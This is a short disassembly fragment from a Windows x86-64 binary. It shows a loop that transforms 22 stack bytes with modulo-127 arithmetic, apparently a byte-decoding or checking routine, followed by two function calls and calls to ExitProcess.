nop dword [rax]
movzx eax, byte [rbp + rbx + 9]
imul r8d, eax, 0x13
mov eax, 0x2040811
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + rbx + 9], r8b
inc rbx
cmp rbx, 0x16
jb 0x14002fdd0
lea rcx, [rbp + 9]
call fcn.14001b690
call fcn.140008dd0
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]